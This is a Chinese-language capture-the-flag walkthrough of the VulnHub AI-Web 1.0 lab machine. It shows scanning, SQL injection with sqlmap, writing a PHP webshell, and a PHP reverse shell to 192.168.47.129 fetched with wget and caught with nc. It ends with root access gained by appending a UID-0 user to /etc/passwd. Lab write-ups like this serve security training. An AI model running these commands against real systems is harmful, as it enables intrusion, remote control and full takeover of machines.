VulnhubAI-web 1.0靶机详解

项目地址

https://www.vulnhub.com/entry/ai-web-1,353/

实验过程

将下载好的靶机导入到VMware中,设置网络模式为NAT模式,然后开启靶机虚拟机

image.png

使用nmap进行主机发现,获取靶机IP地址

nmap 192.168.47.1-254

image.png

根据对比可知DC-8的一个ip地址为192.168.47.135

扫描Ai-Web1.0的操作系统,端口及对应服务

nmap -A -p- 192.168.47.135

image.png

发现开放80端口

在浏览器访问http://192.168.47.135

image.png

对网站进行目录和文件扫描

dirb http://192.168.47.135

image.png
出现robots.txt文件

进入网站进行查询

image.png
尝试访问发现没有权限

使用dirb进行扫描

dirb http://192.168.47.135/m3diNf0/
dirb http://192.168.47.135/se3reTdir777/

image.png
结果可知dirb http://192.168.47.135/m3diNf0/有一个info.php页面
尝试访问
image.png
dirb http://192.168.47.135/se3reTdir777/有一个index.php页面
尝试访问
image.png
发现是查询页面 考虑sql注入

输入’页面报错

image.png
存在sql注入

使用Burpsuite进行一个抓包,得到注入点

image.png

使用sqlmap进行扫描

sqlmap -u  "http://192.168.47.135/se3reTdir777/index.php" -data "uid=123&Operation=Submit" -dbs

image.png

sqlmap -u  "http://192.168.47.135/se3reTdir777/index.php" -data "uid=123&Operation=Submit" -D aiweb1 --tables

image.png

sqlmap -u  "http://192.168.47.135/se3reTdir777/index.php" -data "uid=123&Operation=Submit" -D aiweb1 -T user --columns

image.png

sqlmap -u  "http://192.168.47.135/se3reTdir777/index.php" -data "uid=123&Operation=Submit" -D aiweb1 -T user -C id --dump

image.png
没有什么有用信息了
尝试–os-shell

首先获取绝对路径

进入info.php查找
image.png

找到了路径 /home/www/html/web1x443290o2sdf92213/
需要一个可以上传文件的页面se3reTdir777/uploads/刚好符合
它的绝对目录为/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

使用–os-shell

sqlmap -u  "http://192.168.47.135/se3reTdir777/index.php" -data "uid=123&Operation=Submit" --level=3 --os-shell

image.png
成功进入shell

上传一句话木马

在sqlmap文件夹里写一个一句话木马文件
image.png
在sqlmap开个终端

sqlmap -u "http://192.168.47.135/se3reTdir777/index.php" --data "uid=123&Operation=Submit" --file-write 1.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/1.php

image.png
image.png
发现一句话木马文件移进来了

蚁剑连接

打开蚁剑

进行连接
http://192.168.47.135/se3reTdir777/uploads/1.php

image.png
image.png
可以正常访问

这里蚁剑要拿到他的终端,右击打开终端

image.png

nc反弹

在 kali 写⼀个 php ⽂件
<?php
$sock=fsockopen("192.168.47.129",6666);
exec("/bin/bash -i <&3 >&3 2>&3");
?>

image.pngimage.png

在Kali开启一个端口服务
python -m http.server 7777

image.png

到 os-shell 命令行,用wget 命令下载
wget http://192.168.47.129:7777/3.php

image.png

开启监听

nc -lvvp 6666

image.png

在–os-shell 执行木马文件
php 3.php

image.png
监听成功

提权

查看当前用户

image.png

在 Linux 系统中我们要向手动生成⼀个密码可以采用opensll passwd来生成⼀个密码作为用户账号的密码。
Linux系统中的密码存放在 /etc/shadow 文件中,并且是以加密的方式存放的,根据加密方式的不同,所产生的加密后的密码的位数也不同 。

:::info
openssl passwd的作用是用来计算密码hash的,目的是为了防止密码以明文的形式出现。
:::

使用openssl 创建⼀个用户
openssl passwd -1 -salt h 123456

:::info
openssl passwd 参数 用户名 密码
:::

-1:表示采用的是MD5加密算法。
-salt:指定salt值,不使用随机产生的salt。在使用加密算法进行加密时,即使密码⼀样,salt不⼀样,所计算出来的hash值也不⼀样,除非密码⼀样,salt值也⼀样,计算出来的hash值才⼀样。salt为8字节的字符串。

image.png

将用户写入/etc/passwd文件中
echo 'h:$1$h$DcmWd6ffV7pl4.0.1QBQ40:0:0:root:/root:/bin/bash'>>/etc/passwd

image.png

使用cat查看是否写入
cat /etc/passwd

image.png
成功写入

切换用户

⽤脚本提升为交互式shell,然后切换用户

python -c 'import pty;pty.spawn("/bin/bash")'
su h

image.png

寻找flag
cd /
ls
cd root
ls
cat flag.txt

image.png

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值